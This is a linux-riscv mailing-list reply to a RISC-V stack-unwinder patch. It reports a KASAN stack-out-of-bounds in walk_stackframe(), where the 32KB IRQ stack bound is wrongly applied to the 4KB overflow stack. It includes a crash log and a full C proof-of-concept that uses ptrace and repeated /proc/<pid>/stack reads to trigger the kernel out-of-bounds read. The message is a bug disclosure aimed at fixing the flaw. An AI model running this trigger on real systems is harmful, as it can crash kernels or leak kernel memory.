[PATCH v3] riscv: stacktrace: fix stack-out-of-bounds in walk_stackframe()

XIAO WU xiaowu.417 at qq.com
Sun Jun 28 12:02:57 PDT 2026


Hi Jiakai,

I came across the Sashiko AI review of this patch and was able to
reproduce the overflow_stack OOB issue it flagged — a KASAN
stack-out-of-bounds in walk_stackframe() on riscv64 QEMU.

The Sashiko review is at:
https://sashiko.dev/#/patchset/20260625123906.211981-1-xujiakai2025@iscas.ac.cn

 > @@ -52,19 +56,32 @@ void notrace walk_stackframe(struct task_struct 
*task, struct pt_regs *regs,
 >          pc = task->thread.ra;
 >      }
 >
 > +    if (!task)
 > +        task = current;
 > +
 > +    if (sp >= (unsigned long)task_stack_page(task) &&
 > +        sp < (unsigned long)task_stack_page(task) + THREAD_SIZE) {
 > +        high = (unsigned long)task_pt_regs(task);
 > +    } else if (IS_ENABLED(CONFIG_IRQ_STACKS)) {
 > +        high = (unsigned long)this_cpu_read(irq_stack_ptr) +
 > +               IRQ_STACK_SIZE;
 > +    } else {
 > +        high = (unsigned long)task_pt_regs(task);
 > +    }

When the stack pointer falls outside the task stack — for example when
unwinding from the overflow_stack during a stack overflow panic, or
when reading /proc/<pid>/stack for a remote task whose saved SP
happens to be on the overflow_stack — this code falls through to the
`IS_ENABLED(CONFIG_IRQ_STACKS)` branch and uses the IRQ stack boundary
as the upper limit.

The IRQ stack is 32KB (IRQ_STACK_SIZE) while the overflow_stack is
only 4KB (OVERFLOW_STACK_SIZE).  Using the IRQ stack boundary when the
SP is actually on the overflow_stack lets the unwinder read well past
the end of the valid overflow_stack allocation, triggering a KASAN
stack-out-of-bounds.

=== Reproduction ===

Kernel: 6.17.0-rc3-gab53ade87879 #1 PREEMPT
Arch:   riscv64 (qemu-system-riscv64, riscv-virtio,qemu DT)
Config: CONFIG_KASAN=y

Trigger: read /proc/<pid>/stack for a remote task (e.g. via ptrace).

=== Crash Log ===

[  862.045445][ T5937] BUG: KASAN: stack-out-of-bounds in 
walk_stackframe+0x5c4/0x66e
[  862.046336][ T5937] Read of size 8 at addr ff200000076676c8 by task 
poc/5937
[  862.048426][ T5937] CPU: 1 UID: 0 PID: 5937 Comm: poc Not tainted 
6.17.0-rc3-gab53ade87879 #1 PREEMPT
[  862.048684][ T5937] Hardware name: riscv-virtio,qemu (DT)
[  862.048684][ T5937] Call Trace:
[  862.049044][ T5937] [<ffffffff8008d882>] dump_backtrace+0x2e/0x3c
[  862.049257][ T5937] [<ffffffff8000326e>] show_stack+0x30/0x3c
[  862.049427][ T5937] [<ffffffff80074b88>] dump_stack_lvl+0x11a/0x1b0
[  862.049628][ T5937] [<ffffffff8000ee60>] print_report+0x29a/0x5b8
[  862.049838][ T5937] [<ffffffff80b0f9d8>] kasan_report+0xf0/0x21c
[  862.050031][ T5937] [<ffffffff80b1199a>] 
__asan_report_load8_noabort+0x12/0x1a
[  862.050267][ T5937] [<ffffffff8008d300>] walk_stackframe+0x5c4/0x66e
[  862.050432][ T5937] [<ffffffff86c65936>] arch_stack_walk+0x1c/0x26
[  862.050644][ T5937] [<ffffffff803e2f88>] stack_trace_save_tsk+0x164/0x1f2
[  862.050867][ T5937] [<ffffffff80e58e28>] proc_pid_stack+0x170/0x282
[  862.051032][ T5937] [<ffffffff80e5adda>] proc_single_show+0xea/0x1ca
[  862.051205][ T5937] [<ffffffff80cbea02>] seq_read_iter+0x438/0x1098
[  862.051585][ T5937] [<ffffffff80c05982>] vfs_read+0x2f0/0xaf8
[  862.052052][ T5937] [<ffffffff80c08184>] ksys_read+0x126/0x238
[  862.052550][ T5937] [<ffffffff86c8deb0>] handle_exception+0x150/0x15c
[  862.053115][ T5937] The buggy address belongs to a 8-page vmalloc region
[  862.093883][ T5937] 
==================================================================

=== PoC ===

Build:  riscv64-linux-gnu-gcc -o poc poc.c -static
Run:    ./poc    (on riscv64)

// SPDX-License-Identifier: GPL-2.0-only
// PoC: Trigger KASAN stack-out-of-bounds in walk_stackframe() on RISC-V

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/ptrace.h>
#include <sched.h>
#include <signal.h>
#include <time.h>
#include <linux/perf_event.h>

static const char *prog;

static void fail(const char *msg)
{
     fprintf(stderr, "[FAIL] %s: %s: %m\n", msg, prog);
     exit(1);
}

static void info(const char *msg)
{
     fprintf(stderr, "[INFO] %s\n", msg);
}

static void check_dmesg(const char *label)
{
     char line[4096];
     FILE *f;
     int found = 0;
     f = popen("dmesg 2>/dev/null | tail -200", "r");
     if (!f) return;
     while (fgets(line, sizeof(line), f)) {
         if (strstr(line, "KASAN") ||
             strstr(line, "stack-out-of-bounds") ||
             strstr(line, "walk_stackframe") ||
             strstr(line, "out-of-bounds") ||
             strstr(line, "Oops") ||
             strstr(line, "kernel BUG") ||
             strstr(line, "Kernel panic") ||
             strstr(line, "Call Trace")) {
             if (!found) {
                 fprintf(stderr, "\n=== Dmesg output after %s ===\n", 
label);
                 found = 1;
             }
             fprintf(stderr, "%s", line);
         }
     }
     pclose(f);
     if (found) fprintf(stderr, "=== End dmesg ===\n\n");
}

/* Approach: self stack trace with deep directory recursion */
static void try_self_stack_trace(void)
{
     pid_t pid = fork();
     if (pid < 0) return;
     if (pid == 0) {
         char dir[256];
         int i;
         getcwd(dir, sizeof(dir));
         for (i = 0; i < 500; i++) {
             char subdir[300];
             snprintf(subdir, sizeof(subdir), "%s/d%d", dir, i);
             mkdir(subdir, 0755);
             chdir(subdir);
         }
         for (i = 0; i < 1000; i++) {
             FILE *f = fopen("/proc/self/stack", "r");
             if (f) {
                 char buf[4096];
                 while (fgets(buf, sizeof(buf), f)) { }
                 fclose(f);
             }
             char path[64];
             snprintf(path, sizeof(path), "/proc/%d/stack", getpid());
             f = fopen(path, "r");
             if (f) {
                 char buf[4096];
                 while (fgets(buf, sizeof(buf), f)) { }
                 fclose(f);
             }
         }
         _exit(0);
     }
     waitpid(pid, NULL, 0);
     check_dmesg("self_stack_trace");
}

/* Approach: remote task stack trace via ptrace */
static void try_remote_task(void)
{
     pid_t child = fork();
     int status, i;
     if (child < 0) return;
     if (child == 0) {
         if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0)
             _exit(1);
         raise(SIGSTOP);
         struct timespec ts = { .tv_sec = 1, .tv_nsec = 0 };
         nanosleep(&ts, NULL);
         _exit(0);
     }
     waitpid(child, &status, 0);
     if (!WIFSTOPPED(status)) waitpid(child, &status, 0);
     for (i = 0; i < 100; i++) {
         char path[64];
         FILE *f;
         snprintf(path, sizeof(path), "/proc/%d/stack", child);
         f = fopen(path, "r");
         if (f) {
             char buf[4096];
             while (fgets(buf, sizeof(buf), f)) { }
             fclose(f);
         }
     }
     ptrace(PTRACE_CONT, child, NULL, NULL);
     waitpid(child, &status, 0);
     check_dmesg("remote_task");
}

int main(int argc, char **argv)
{
     prog = argv[0];
     info("=== RISC-V walk_stackframe() stack OOB PoC ===");
     info("Bug: overflow_stack (4KB) unwinding uses IRQ stack bound 
(32KB)");
     info("");
     system("dmesg -c > /dev/null 2>&1 || true");
     try_self_stack_trace();
     try_remote_task();
     info("Final dmesg check...");
     check_dmesg("final");
     info("PoC completed.");
     return 0;
}

Thanks,
Xiao




More information about the linux-riscv mailing list